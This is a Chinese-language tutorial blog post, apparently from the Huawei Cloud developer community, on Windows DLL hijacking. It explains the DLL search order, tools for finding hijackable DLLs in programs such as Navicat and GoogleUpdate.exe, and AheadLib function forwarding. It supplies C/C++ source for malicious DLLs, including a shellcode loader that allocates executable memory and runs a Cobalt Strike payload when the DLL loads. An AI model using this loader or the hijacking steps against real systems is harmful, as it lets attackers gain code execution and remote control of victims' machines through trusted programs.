从零开始学习 DLL 劫持

举报
亿人安全 发表于 2023/05/14 11:03:02 2023/05/14
【摘要】 DLL 劫持DLL 简介在 Windows 中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即 DLL 文件，放置于系统中。当我们执行某一个程序时，相应的 DLL 文件就会被调用。一个应用程序可使用多个 DLL 文件，一个 DLL 文件也可能被不同的应用程序使用，这样的 DLL 文件被称为共享 DLL 文件。DLL 加载顺序如果程序需要加载一个相对路径的 d...

DLL 劫持

DLL 简介

在 Windows 中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即 DLL 文件，放置于系统中。当我们执行某一个程序时，相应的 DLL 文件就会被调用。一个应用程序可使用多个 DLL 文件，一个 DLL 文件也可能被不同的应用程序使用，这样的 DLL 文件被称为共享 DLL 文件。

DLL 加载顺序

如果程序需要加载一个相对路径的 dll 文件，它将从当前目录下尝试查找，如果找不到，则按照如下顺序寻找：

windows xp sp2 之前

Windows 查找 DLL 的目录以及对应的顺序：

  • 进程对应的应用程序所在目录；

  • 当前目录（Current Directory）；

  • 系统目录（通过 GetSystemDirectory 获取）；

  • 16 位系统目录；

  • Windows 目录（通过 GetWindowsDirectory 获取）；

  • PATH 环境变量中的各个目录；

windows xp sp2 之后

Windows 查找 DLL 的目录以及对应的顺序（SafeDllSearchMode 默认会被开启）：

默认注册表为：HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode，其键值为 1

  • 进程对应的应用程序所在目录（可理解为程序安装目录比如 C:\ProgramFiles\uTorrent）

  • 系统目录（即 % windir% system32）；

  • 16 位系统目录（即 % windir% system）；

  • Windows 目录（即 % windir%）；

  • 当前目录（运行的某个文件所在目录，比如 C:\Documents and Settings\Administrator\Desktop\test）；

  • PATH 环境变量中的各个目录；

windows 7 以上版本

从 Windows7 之后，微软为了更进一步的防御系统的 DLL 被劫持，将一些容易被劫持的系统 DLL 写进了一个注册表项中，该项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用，而只能从系统目录 SYSTEM32 目录下调用，其注册表位置：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

image-20221118105253508

自动化挖掘

批量寻找劫持

https://github.com/wietze/windows-dll-hijacking

PLAINTEXT 

1

python generate_pmc_files.py

image-20221117095707116

单个查找劫持

https://github.com/knight0x07/ImpulsiveDLLHijack

编译完成后，把 Prerequisites 文件夹里的内容拷贝至 ImpulsiveDLLHijack 项目里

image-20221106204300062

PLAINTEXT 

1

ImpulsiveDLLHijack.exe -path xxx.exe

image-20221106203957230

这里使用 navicat 进行测试，可见运行的时候会加载 C:\Users\dyy\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

image-20221118165125109

使用 cs 生成恶意 dll，重命名为 oci.dll 后放置到该目录下

image-20221118165445223

image-20221118165532420

手动挖掘

Process Monitor 查找可用 dll，设置如下图所示

image-20221106144115621

配置完可以保存导出配置，下次直接导入使用

image-20221106205731466

使用 GoogleUpdate.exe 进行测试，运行程序 filter 加载所使用的 dll 文件

image-20221106211630253

这里可以看出来，当 GoogleUpdate.exe 程序运行的时候，会调用当前目录下的 goopdate.dll 文件

编写一个基础的弹窗 dll

JAVA 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#include <Windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH://DLL首次被加载到内存时运行
    case DLL_PROCESS_DETACH://DLL销毁时运行
    case DLL_THREAD_ATTACH://DLL线程加载时运行
    case DLL_THREAD_DETACH://DLL线程销毁时运行
        break;
    }
    return TRUE;
}


extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {
    MessageBox(NULL, "I am DLL !", "DLL", MB_OK);
    return 0;
}

image-20221106154203746

弹计算器

JAVA 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

image-20221117114617895

CS 上线

cs 生成 c 的 payload

image-20221121094700513

image-20221121094855454

生成的 payload 填入到下面相应的位置上

CPP 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

// 头文件
#include "pch.h"
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8";


DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);

    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}

image-20221121120230582

运行 navicat 程序就会上线

image-20221121142304498

DLL 转发劫持

有时候当我们替换 dll 后，虽然可以执行命令，但是会产生报错

image-20221121153121508

这时候我们可以使用 AheadLib 工具，使恶意的 DLL 将原有的函数转发到原 DLL 中并且释放恶意代码

打开工具导入 dll 文件，会生成相应的 cpp 文件

直接转发函数，我们只能控制 DllMain 即调用原 DLL 时触发的行为可控
即时调用函数，可以在处理加载 DLL 时，调用具体函数的时候行为可控，高度自定义触发点，也称用来 hook 某些函数，获取到参数值

image-20221121154116895

image-20221121155015571

【声明】本内容来自华为云开发者社区博主，不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源（华为云社区）、文章链接、文章作者等基本信息，否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容，欢迎发送邮件进行举报，并提供相关证据，一经查实，本社区将立刻删除涉嫌侵权内容，举报邮箱： cloudbbs@huaweicloud.com
Windows
  • 点赞
  • 收藏
  • 关注作者

评论（0）

0/1000
抱歉，系统识别当前为高风险访问，暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称，即可参与社区互动！

*长度不超过10个汉字或20个英文字符，设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符，设置后3个月内不可修改。

确认 取消

加入云驻计划，成为创作者

  • 华为云周边好礼
  • 免费体验产品
  • 特殊身份标识
  • 线下官方门票
  • 内部专家零距离
  • 与10000+优质创作者共同成长
立即加入